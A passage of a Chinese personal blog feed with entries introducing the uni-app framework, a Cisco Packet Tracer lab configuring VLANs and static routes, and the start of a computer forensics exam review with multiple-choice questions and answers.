>www.xxx.com/h5，如：[https://hellouniapp.dcloud.net.cn](https://hellouniapp.dcloud.net.cn/) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li></ol><p>未完待定……</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;[官方文档](&lt;a class=&quot;link&quot;   href=&quot;https://uniapp.dcloud.net.cn/quickstart-hx.html&quot; &gt;uni-app官网 (dcloud.net.cn) &lt;i class=&quot;fa-regular fa-arrow-</summary>
      
    
    
    
    
    <category term="app开发" scheme="http://example.com/tags/app%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>1.认识uni-app</title>
    <link href="http://example.com/2024/04/27/1.%E8%AE%A4%E8%AF%86uni-app/"/>
    <id>http://example.com/2024/04/27/1.%E8%AE%A4%E8%AF%86uni-app/</id>
    <published>2024-04-27T16:42:06.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<p><a href="#%E4%BB%8B%E7%BB%8D">介绍</a></p><p><a href="#%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E9%80%89%E6%8B%A9uni-app?">为什么要选择uni-app？</a></p><p><a href="#%E5%8A%9F%E8%83%BD%E6%A1%86%E6%9E%B6%E5%9B%BE">功能框架图</a></p><p><a href="#%E4%B8%80%E5%A5%97%E4%BB%A3%E7%A0%81%EF%BC%8C%E8%BF%90%E8%A1%8C%E5%88%B0%E5%A4%9A%E4%B8%AA%E5%B9%B3%E5%8F%B0">一套代码，运行到多个平台</a></p><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a><span id='介绍'>介绍</span></h1><ol><li><p><code>uni-app</code> 是一个使用 <a class="link"   href="https://vuejs.org/" >Vue.js <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 开发所有前端应用的框架，开发者编写一套代码，可发布到iOS、Android、Web（响应式）、以及各种小程序（微信&#x2F;支付宝&#x2F;百度&#x2F;头条&#x2F;飞书&#x2F;QQ&#x2F;快手&#x2F;钉钉&#x2F;淘宝）、快应用等多个平台。</p></li><li><p><code>DCloud</code>公司拥有900万开发者、数百万应用、12亿手机端月活用户、数千款uni-app插件、70+微信&#x2F;qq群。阿里小程序工具官方内置uni-app（<a class="link"   href="https://opendocs.alipay.com/mini/ide/overview" >详见 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>），腾讯课堂官方为uni-app录制培训课程（<a class="link"   href="https://ask.dcloud.net.cn/article/35640" >详见 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>），开发者可以放心选择。</p></li><li><p><code>uni-app</code>在手，做啥都不愁。即使不跨端，<code>uni-app</code>也是更好的小程序开发框架（<a class="link"   href="https://ask.dcloud.net.cn/article/35947" >详见 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>）、更好的App跨平台框架、更方便的H5开发框架。不管领导安排什么样的项目，你都可以快速交付，不需要转换开发思维、不需要更改开发习惯。</p></li></ol><p><strong><a class="link"   href="https://uniapp.dcloud.net.cn/" >uni-app官网 (dcloud.net.cn) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><h1 id="为什么要选择uni-app？"><a href="#为什么要选择uni-app？" class="headerlink" title="为什么要选择uni-app？"></a><span id='为什么要选择uni-app?'>为什么要选择uni-app？</span></h1><p>uni-app&#96;在开发者数量、案例、跨端抹平度、扩展灵活性、性能体验、周边生态、学习成本、开发成本等8大关键指标上拥有更强的优势。</p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app1.png"                      alt="img" style="zoom:50%;"                 ><h2 id="1-开发者-x2F-案例数量更多"><a href="#1-开发者-x2F-案例数量更多" class="headerlink" title="1.开发者&#x2F;案例数量更多"></a>1.<strong>开发者&#x2F;案例数量更多</strong></h2><p>数百万应用、uni统计月活12亿、70+微信&#x2F;qq群、更高的百度指数</p><p>跨端完善度更高，真正落地的提高生产力</p><h2 id="2-平台能力不受限"><a href="#2-平台能力不受限" class="headerlink" title="2.平台能力不受限"></a>2.<strong>平台能力不受限</strong></h2><p>在跨端的同时，通过条件编译+平台特有API调用，可以优雅的为某平台写个性化代码，调用专有能力而不影响其他平台。</p><p>支持原生代码混写和原生sdk集成。</p><h2 id="3-性能体验优秀"><a href="#3-性能体验优秀" class="headerlink" title="3.性能体验优秀"></a>3.<strong>性能体验优秀</strong></h2><p>加载新页面速度更快、自动diff更新数据。</p><p>App端支持原生渲染，可支撑更流畅的用户体验。</p><p>小程序端的性能优于市场其他框架。<a class="link"   href="https://ask.dcloud.net.cn/article/35947" >评测 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="4-周边生态丰富"><a href="#4-周边生态丰富" class="headerlink" title="4.周边生态丰富"></a>4.<strong>周边生态丰富</strong></h2><p><a class="link"   href="https://ext.dcloud.net.cn/?orderBy=WeekDownload" >插件市场 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>数千款插件。</p><p>支持NPM、支持小程序组件和SDK。</p><p>微信生态的各种sdk可直接用于跨平台App。</p><h2 id="5-学习成本低"><a href="#5-学习成本低" class="headerlink" title="5.学习成本低"></a>5.学习成本低</h2><p>基于通用的前端技术栈，采用vue语法+微信小程序api，无额外学习成本</p><h2 id="6-开发成本低"><a href="#6-开发成本低" class="headerlink" title="6.开发成本低"></a>6.开发成本低</h2><p>不止开发成本，招聘、管理、测试各方面成本都大幅下降。</p><p>HBuilderX是高效开发神器，熟练掌握后研发效率至少翻倍（即便只开发一个平台）。</p><h1 id="功能框架图"><a href="#功能框架图" class="headerlink" title="功能框架图"></a><span id='功能框架图'>功能框架图</span></h1><p>从下面<code>uni-app</code>功能框架图可看出，<code>uni-app</code>在跨平台的过程中，不牺牲平台特色，可优雅的调用平台专有能力，真正做到海纳百川、各取所长。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app2.png"                      alt="img"                ></p><h1 id="一套代码，运行到多个平台"><a href="#一套代码，运行到多个平台" class="headerlink" title="一套代码，运行到多个平台"></a><span id='一套代码，运行到多个平台'>一套代码，运行到多个平台</span></h1><p><code>uni-app</code>实现了一套代码，同时运行到多个平台；如下图所示，一套代码，同时运行到iOS模拟器、Android模拟器、web、微信开发者工具、支付宝小程序Studio、百度开发者工具、抖音开发者工具、QQ开发者工具（底部每个终端选项卡，代表1个终端模拟器）：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app3.jpg"                      alt="img"                ></p><p>实际运行效果如下（点击图片可放大）：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/app/app4.jpg"                      alt="img"                ></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;a href=&quot;#%E4%BB%8B%E7%BB%8D&quot;&gt;介绍&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E9%80%89%E6%8B%A9uni-app?&quot;&gt;为什么要选择uni-app？&lt;/a&gt;&lt;</summary>
      
    
    
    
    
    <category term="app开发" scheme="http://example.com/tags/app%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>计算机网络实践</title>
    <link href="http://example.com/2024/04/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%E5%AE%9E%E8%B7%B5/"/>
    <id>http://example.com/2024/04/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C%E5%AE%9E%E8%B7%B5/</id>
    <published>2024-04-23T11:14:51.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<h1 id="一、背景"><a href="#一、背景" class="headerlink" title="一、背景"></a><strong>一、背景</strong></h1><ol><li><p>西京科技学校网络由一台三层交换机作为核心，下边有3个学院，学院A有网络用户37人，学院B有网络用户56人，学院C有49人。学校出口有路由器RA一台，外边连接另外一台互联网路由器RB，路由器RB下连接有Web网络服务器192.168.255.254。</p></li><li><p>建立符合网络需求的VLAN并分配到交换机的端口下，学院A和学院B在同一台二层交换机下，学院C在三层交换机单独端口下。每个学院下各模拟一个用户。要求三个用户之间能够互相通信。从三层交换机到互联网Web服务器之间的路由信息自行设计配置实现，并在Web服务器上开启Web服务，界面上输入自己的姓名全拼，最终实现在客户PC上能够访问Web服务器。</p></li></ol><h1 id="二、实验器材"><a href="#二、实验器材" class="headerlink" title="二、实验器材"></a><strong>二、实验器材</strong></h1><p>PC-PT（主机）3台，用来模拟三个学院</p><p>二层交换机 1台 2960</p><p>三层交换机 1台 3560</p><p>路由器 2台 Router-PT </p><p>服务器 1台 Server-PT</p><h1 id="三、拓扑图"><a href="#三、拓扑图" class="headerlink" title="三、拓扑图"></a><strong>三、拓扑图</strong></h1><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco29.png"                      alt="cisco29"                ></p><h1 id="四、配置流程"><a href="#四、配置流程" class="headerlink" title="四、配置流程"></a><strong>四、配置流程</strong></h1><h3 id="1-配置PC以及服务器"><a href="#1-配置PC以及服务器" class="headerlink" title="1. 配置PC以及服务器"></a><strong>1. 配置PC以及服务器</strong></h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco30.png"                      alt="cisco30"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco31.png"                      alt="cisco31"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco32.png"                      alt="cisco32"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco33.png"                      alt="cisco33"                ></p><h3 id="2-二层交换机设置，vlan2-学院A，vlan3-学院B，vlan4-学院C"><a href="#2-二层交换机设置，vlan2-学院A，vlan3-学院B，vlan4-学院C" class="headerlink" title="**2. 二层交换机设置，vlan2-学院A，vlan3-学院B，vlan4-学院C **"></a>**2. 二层交换机设置，vlan2-学院A，vlan3-学院B，vlan4-学院C **</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">Switch&gt;en</span><br><span class="line">Switch#conf t</span><br><span class="line">Enter configuration commands, one per line.  End with CNTL/Z.</span><br><span class="line">Switch(config)#vlan 2</span><br><span class="line">Switch(config-vlan)#exit </span><br><span class="line">Switch(config)#vlan 3</span><br><span class="line">Switch(config-vlan)#exit </span><br><span class="line">Switch(config)#interface fastEthernet 0/1</span><br><span class="line">Switch(config-if)#switchport access vlan 2</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#interface fastEthernet 0/2</span><br><span class="line">Switch(config-if)#switchport access vlan 3</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#interface fastEthernet 0/3</span><br><span class="line">Switch(config-if)#switchport mode trunk </span><br><span class="line">Switch(config-if)#exit </span><br></pre></td></tr></table></figure></div><h3 id="3-三层交换机设置，绑定vlan的网关IP，开启三层交换机的静态路由，截止到目前A-B-C可以ping通，开启三层路由后配置Fa0-x2F-2的ip地址并且配置静态路由"><a href="#3-三层交换机设置，绑定vlan的网关IP，开启三层交换机的静态路由，截止到目前A-B-C可以ping通，开启三层路由后配置Fa0-x2F-2的ip地址并且配置静态路由" class="headerlink" title="3. 三层交换机设置，绑定vlan的网关IP，开启三层交换机的静态路由，截止到目前A,B,C可以ping通，开启三层路由后配置Fa0&#x2F;2的ip地址并且配置静态路由"></a><strong>3. 三层交换机设置，绑定vlan的网关IP，开启三层交换机的静态路由，截止到目前A,B,C可以ping通，开启三层路由后配置Fa0&#x2F;2的ip地址并且配置静态路由</strong></h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">Switch&gt;en</span><br><span class="line">Switch#conf t</span><br><span class="line">Switch(config)#vlan 2</span><br><span class="line">Switch(config-vlan)#exit </span><br><span class="line">Switch(config)#vlan 3</span><br><span class="line">Switch(config-vlan)#exit </span><br><span class="line">Switch(config)#vlan 4</span><br><span class="line">Switch(config-vlan)#exit </span><br><span class="line">Switch(config)#interface fastEthernet 0/3</span><br><span class="line">Switch(config-if)#switchport trunk encapsulation dot1q //trunk协议封装为dot1q </span><br><span class="line">Switch(config-if)#switchport mode trunk //端口模式为trunk</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#interface fastEthernet 0/1</span><br><span class="line">Switch(config-if)#switchport access vlan 4</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#int vlan 2</span><br><span class="line">Switch(config-if)#ip address 192.168.1.1 255.255.255.0</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#interface vlan 3</span><br><span class="line">Switch(config-if)#ip address 192.168.2.1 255.255.255.0</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#ip routing</span><br><span class="line">Switch(config)#int vlan 4</span><br><span class="line">Switch(config-if)#ip address 192.168.3.1 255.255.255.0</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#ip routing</span><br><span class="line">Switch(config)#int fastEthernet 0/2</span><br><span class="line">Switch(config-if)#no switchport </span><br><span class="line">Switch(config-if)#ip address 192.168.4.1 255.255.255.0</span><br><span class="line">Switch(config-if)#no shutdown</span><br><span class="line">Switch(config-if)#exit </span><br><span class="line">Switch(config)#ip route 0.0.0.0 0.0.0.0 192.168.4.2</span><br></pre></td></tr></table></figure></div><h3 id="4-对路由器RA和RB配置端口IP，配置静态路由，以及配置时钟频率"><a href="#4-对路由器RA和RB配置端口IP，配置静态路由，以及配置时钟频率" class="headerlink" title="**4. 对路由器RA和RB配置端口IP，配置静态路由，以及配置时钟频率 **"></a>**4. 对路由器RA和RB配置端口IP，配置静态路由，以及配置时钟频率 **</h3><h4 id="RA："><a href="#RA：" class="headerlink" title="RA："></a>RA：</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;enable</span><br><span class="line">Router#config terminal </span><br><span class="line">Router(config)#interface fastEthernet 1/0</span><br><span class="line">Router(config-if)#no shutdown</span><br><span class="line">Router(config-if)#exit </span><br><span class="line">Router(config)#interface fastEthernet 1/0</span><br><span class="line">Router(config-if)#ip address 192.168.4.2 255.255.255.0</span><br><span class="line">Router(config-if)#exit </span><br><span class="line">Router(config)#ip route 0.0.0.0 0.0.0.0 192.168.4.1</span><br><span class="line">Router(config)#interface serial 2/0</span><br><span class="line">Router(config-if)#ip address 192.168.5.1 255.255.255.0</span><br><span class="line">Router(config-if)#clock rate 64000</span><br><span class="line">This command applies only to DCE interfaces</span><br><span class="line">Router(config-if)#no shutdown </span><br><span class="line">Router(config)#end</span><br></pre></td></tr></table></figure></div><h4 id="RB"><a href="#RB" class="headerlink" title="RB:"></a>RB:</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Router&gt;en</span><br><span class="line">Router#conf t</span><br><span class="line">Router(config)#int serial 2/0</span><br><span class="line">Router(config-if)#ip address 192.168.5.2 255.255.255.0</span><br><span class="line">Router(config-if)#no shutdown</span><br><span class="line">Router(config-if)#exit</span><br><span class="line">Router(config)#ip route 0.0.0.0 0.0.0.0 192.168.5.1</span><br><span class="line">Router(config)#interface serial 2/0</span><br><span class="line">Router(config-if)#clock rate 64000</span><br><span class="line">Router(config-if)#exit </span><br><span class="line">Router(config)#interface fastEthernet 0/0</span><br><span class="line">Router(config-if)#ip address 192.168.255.1 255.255.255.0</span><br><span class="line">Router(config-if)#no shutdown </span><br></pre></td></tr></table></figure></div><h3 id="5-服务器开HTTP服务"><a href="#5-服务器开HTTP服务" class="headerlink" title="5. 服务器开HTTP服务"></a><strong>5. 服务器开HTTP服务</strong></h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco34.png"                      alt="cisco34"                ></p><h3 id="6-验证测试"><a href="#6-验证测试" class="headerlink" title="6. 验证测试"></a><strong>6. 验证测试</strong></h3><h4 id="ping测试"><a href="#ping测试" class="headerlink" title="ping测试"></a><strong>ping测试</strong></h4><h5 id="A-ping-B"><a href="#A-ping-B" class="headerlink" title="A ping B"></a><strong>A ping B</strong></h5><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco35.png"                      alt="cisco35"                ></p><p><strong>A ping C</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco36.png"                      alt="cisco36"                ></p><h5 id="服务器："><a href="#服务器：" class="headerlink" title="服务器："></a><strong>服务器：</strong></h5><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/cisco%E9%85%8D%E7%BD%AE/cisco37.png"                      alt="cisco37"                ></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;一、背景&quot;&gt;&lt;a href=&quot;#一、背景&quot; class=&quot;headerlink&quot; title=&quot;一、背景&quot;&gt;&lt;/a&gt;&lt;strong&gt;一、背景&lt;/strong&gt;&lt;/h1&gt;&lt;ol&gt;
&lt;li&gt;&lt;p&gt;西京科技学校网络由一台三层交换机作为核心，下边有3个学院，学院A有网络用</summary>
      
    
    
    
    
    <category term="网络通信与安全配置" scheme="http://example.com/tags/%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1%E4%B8%8E%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE/"/>
    
  </entry>
  
  <entry>
    <title>取证技术期末复习题</title>
    <link href="http://example.com/2024/04/15/%E5%8F%96%E8%AF%81%E6%8A%80%E6%9C%AF%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0%E9%A2%98/"/>
    <id>http://example.com/2024/04/15/%E5%8F%96%E8%AF%81%E6%8A%80%E6%9C%AF%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0%E9%A2%98/</id>
    <published>2024-04-15T21:51:49.000Z</published>
    <updated>2024-12-07T07:30:36.052Z</updated>
    
    <content type="html"><![CDATA[<p><strong>【计算机取证期末复习题】</strong></p><p><strong>单选</strong></p><p><strong>计算机取证是将计算机调查和分析技术应⽤于对潜在的，有法律效⼒的证据的确定与提取。以下关于计算机取证的描述中，错误的是（ ）。</strong></p><p><strong>A.计算机取证包括保护⽬标计算机系统、确定收集和保存电⼦证据，必须在开机的状态下进⾏</strong></p><p><strong>B.计算机取证围绕电⼦证据进⾏,电⼦证据具有⾼科技性、⽆形性和易破坏性等特点</strong></p><p><strong>C.计算机取证包括对以磁介质编码信息⽅式存储的计算机证据的保护、确认、提取和归档</strong></p><p><strong>D.计算机取证是⼀⻔在犯罪进⾏过程中或之后收集证据的技术</strong></p><p><strong>答案：A</strong></p><p><strong>计算机取证的合法原则是:（）</strong></p><p><strong>A.计算机取证的⽬的是获取证据，因此⾸先必须确保证据获取再履⾏相关法律⼿续</strong></p><p><strong>B.计算机取证在任何时候都必须保证符合相关法律法规</strong></p><p><strong>C.计算机取证只能由执法机构才能执⾏，以确保其合法性</strong></p><p><strong>D.计算机取证必须获得执法机关的授权才可进⾏以确保合法性原则</strong></p><p><strong>答案：B</strong></p><p><strong>计算机取证的合法原则不包括（）</strong></p><p><strong>A 主体合法：合法调查⼈员、具有法定资格、“有案在册”的计算机取证专家</strong></p><p><strong>B 对象合法：只有被怀疑与案件事实有关联的信息，才能作为被取证调查的对象；调查取证时，电⼦设备的所有⼈、权利⼈应该在场</strong></p><p><strong>C ⼿段合法：符合技术操作规范，使⽤的⼯具和程序必须通过国家有关主管部⻔的评测</strong></p><p><strong>D 时间合法：应在适当的时间取证，计算机取证的合法原则包括：主题合法、对象合法、⼿段合法、过程合法</strong></p><p><strong>答案：D</strong></p><p><strong>E01 是取证分析⼯具 EnCase 的⼀个证据⽂件格式，⽂件的每个字节都经过 32 位的（）校验，这使得证据被篡改的可能性⼏乎为 0</strong></p><p><strong>A CRC 算法</strong></p><p><strong>B MD5 算法</strong></p><p><strong>C SHA-1 算法</strong></p><p><strong>D SHA-2 算法</strong></p><p><strong>答案：A</strong></p><p><strong>数据克隆是计算机证据固定和保全的三⼤技术之⼀，下⾯有关数据克隆的描述，不正确的是。</strong></p><p><strong>A. ⼀种“位对位”全盘镜像，将源盘信息按位 1：1 复制，但删除的⽂件⽆法克隆</strong></p><p><strong>B.在除了磁盘中的数据，还包括删除的⽂件、未分配空间、打印缓冲区、数据残留共和⽂件碎⽚等</strong></p><p><strong>C.在使⽤数据克隆设备进⾏克隆时，⾃动⽣成⽇志和指纹，实现检材的完整性</strong></p><p><strong>D.在进⾏数据克隆时，⼀般⽀持⽬标盘⾃动擦除、坏扇区智能处理，并可按数据块进⾏指纹验证克隆检材硬盘中的内容会在克隆硬盘中完全反应出来，不会丢失、遗漏、也不会被修改，包括被删除的⽂件、未分配空间、打印缓冲区、数据残留区和⽂件碎⽚等。</strong></p><p><strong>答案：A</strong></p><p><strong>FAT ⽂件系统中，当⽤户 按 Shift+Del 删除该⽂件后， 以下描述正确的是？</strong></p><p><strong>A ⽂件已经彻底从硬盘中删除</strong></p><p><strong>B ⽂件已删除， 但⽂件内容⾸字节被改为⼗六进制 E5</strong></p><p><strong>C 还在回收站中， 可⽤取证⼤师恢复</strong></p><p><strong>D ⽂件已删除， 但是数据还在， ⽬录项⾸字节被改为⼗六进制 E5</strong></p><p><strong>答案：D</strong></p><p><strong>Linux 系统中常⻅的⽂件系统是（）</strong></p><p><strong>A Ext2&#x2F;Ext3&#x2F;Ext4</strong></p><p><strong>B NTFS</strong></p><p><strong>C FAT32</strong></p><p><strong>D CDFS</strong></p><p><strong>答案：A</strong></p><p><strong>MBR 扇区通常最后两个字节⼗六进制值为(编码次序不考虑)</strong></p><p><strong>A AA 11</strong></p><p><strong>B 11 FF</strong></p><p><strong>C 55 AA</strong></p><p><strong>D 66 BB</strong></p><p><strong>答案：C</strong></p><p><strong>Windows 记事本不能保存的⽂本编码为</strong></p><p><strong>A ANSI</strong></p><p><strong>B RTF</strong></p><p><strong>C Unicode</strong></p><p><strong>D UTF-8</strong></p><p><strong>答案：B</strong></p><p><strong>Windows 中的“剪贴板”是。</strong></p><p><strong>A ⼀个应⽤程序</strong></p><p><strong>B 磁盘上的⼀个⽂件</strong></p><p><strong>C 内存中的⼀个空间</strong></p><p><strong>D ⼀个专⽤⽂档</strong></p><p><strong>答案：C</strong></p><p><strong>第4&#x2F;35⻚</strong></p><p><strong>下列 （）不是计算机证据的优点。</strong></p><p><strong>A 可被精确复制</strong></p><p><strong>B 容易鉴别证据原件和当前电⼦证据之间是否有变化或关联</strong></p><p><strong>C 完全销毁电⼦证据⽐较困难</strong></p><p><strong>D 容易取证和鉴定</strong></p><p><strong>答案：D</strong></p><p><strong>不属于简体中⽂编码的是</strong></p><p><strong>A Big5</strong></p><p><strong>B UFT-8</strong></p><p><strong>C Unicode</strong></p><p><strong>D GB2312</strong></p><p><strong>答案：A</strong></p><p><strong>操作系统以扇区（Sector） 形式将信息存储在硬盘上， 每个扇区包括（） 个字节的数据和⼀些其他信息。</strong></p><p><strong>A 64</strong></p><p><strong>B 32</strong></p><p><strong>C 58</strong></p><p><strong>D 512</strong></p><p><strong>答案：D</strong></p><p><strong>磁盘经过⾼级格式化后, 其表⾯形成多个不同半径的同⼼圆, 这些同⼼圆称为。</strong></p><p><strong>A 磁道</strong></p><p><strong>B 扇区</strong></p><p><strong>C 族</strong></p><p><strong>D 磁⾯</strong></p><p><strong>答案：A</strong></p><p><strong>断电会使原存信息消失的存储器是。</strong></p><p><strong>A RAM</strong></p><p><strong>B 硬盘</strong></p><p><strong>第5&#x2F;35⻚</strong></p><p><strong>C ROM</strong></p><p><strong>D U 盘</strong></p><p><strong>答案：A</strong></p><p><strong>《刑法》第六章第 285、286、287 条对计算机犯罪的内容和量刑进⾏了</strong></p><p><strong>明确的规定，以下（）不是其中规定的罪⾏。</strong></p><p><strong>A ⾮法侵⼊计算机信息系统罪</strong></p><p><strong>B 破坏计算机信息系统罪</strong></p><p><strong>C 利⽤计算机实施犯罪</strong></p><p><strong>D 国家重要信息系统管理者玩忽职守罪</strong></p><p><strong>答案：D</strong></p><p><strong>关于 MBR 的描述， 错误的是（）</strong></p><p><strong>A MBR ⼜称主引导记录</strong></p><p><strong>B 分区表项存在 MBR 当中</strong></p><p><strong>C MBR 中分区表可以记录多于 4 个分区的信息</strong></p><p><strong>D MBR 中分区表有 64 字节⼤⼩</strong></p><p><strong>答案：C</strong></p><p><strong>关于 MD5 算法说法错误的是</strong></p><p><strong>A 哈希算法就是 MD5 算法</strong></p><p><strong>B MD5 算法可以⽤于验证数据的完整性</strong></p><p><strong>C MD5 算法是不可逆的</strong></p><p><strong>D MD5 算法可⽤于加密</strong></p><p><strong>答案：A</strong></p><p><strong>关于 NTFS ⽂件系统的描述， 错误的是</strong></p><p><strong>A NTFS ⽀持磁盘配额</strong></p><p><strong>B NTFS 也使⽤簇作为⽂件存储的最⼩分配单位</strong></p><p><strong>C NTFS 采⽤ MFT 表记录对象名称</strong></p><p><strong>D 删除⽂件时， 其实际数据被清除</strong></p><p><strong>答案：D</strong></p><p><strong>第6&#x2F;35⻚</strong></p><p><strong>下⾯有关 Linux 取证的描述，（）是错误的。</strong></p><p><strong>A 在对内存和硬盘制作镜像前，⾸先⽤ mount 命令把设备挂载到某⼀⽬录</strong></p><p><strong>下</strong></p><p><strong>B 使⽤ who 命令可查看正在运⾏的进程及运⾏状态</strong></p><p><strong>C 使⽤ netstat 命令可使取证⼈员获知哪些⽹络连接正在运作，哪些服务或应⽤在哪些端⼝运⾏。</strong></p><p><strong>D &#x2F;var&#x2F;log&#x2F;lastlog 是 Linux ⽇志⼦系统的关键⽂件，记录了最近成功登录的事件和最后⼀次不成功登录的事件</strong></p><p><strong>答案：B</strong></p><p><strong>⽊⻢的隐藏不包括（）</strong></p><p><strong>A.⽊⻢⽂件隐藏</strong></p><p><strong>B.⽊⻢⾃启动隐藏</strong></p><p><strong>C.⽊⻢通信隐藏</strong></p><p><strong>D.⽊⻢结果隐藏</strong></p><p><strong>答案：D</strong></p><p><strong>关于 SATA 的错误描述是</strong></p><p><strong>A SATA ⽀持串⾏数据传输</strong></p><p><strong>B SATA 不⽀持热插拔</strong></p><p><strong>C SATA 接⼝最⼤传输速率⽐ IDE 快</strong></p><p><strong>D 平展开的 SATA 数据线⽐平展开的 IDE 数据线更窄</strong></p><p><strong>答案：B</strong></p><p><strong>以下有关 EasyRecovery 的说法不正确的是（）</strong></p><p><strong>A. EasyRecovery 在恢复数据时并不向硬盘写任何东⻄，⽽是在内存中对</strong></p><p><strong>⽂件的 FAT 表和⽬录进⾏操作，避免因再次写硬盘⽽造成新的数据破坏。</strong></p><p><strong>B. 使⽤该软件时⼀定要注意将恢复出来的数据保存在其他的硬盘空间内。</strong></p><p><strong>C. 该软件能够对 FAT 和 NTFS 分区中的⽂件删除、格式化分区进⾏数据恢复。</strong></p><p><strong>第7&#x2F;35⻚</strong></p><p><strong>D. 它主要是对数据进⾏硬件恢复。</strong></p><p><strong>答案：D</strong></p><p><strong>以下不属于电⼦证据特点的是（）</strong></p><p><strong>A. 电⼦证据的脆弱性</strong></p><p><strong>B. 电⼦证据的隐蔽性</strong></p><p><strong>C. 电⼦证据的不可挽救性</strong></p><p><strong>D.电⼦证据对系统的依赖性</strong></p><p><strong>答案：C</strong></p><p><strong>以下不属于计算机取证过程中分析过程的是（）</strong></p><p><strong>A. 协议分析</strong></p><p><strong>B. 镜像技术</strong></p><p><strong>C. 数据挖掘</strong></p><p><strong>D. 过程还原</strong></p><p><strong>答案：B</strong></p><p><strong>以下属于计算机取证技术的发展趋势的是（）</strong></p><p><strong>A. 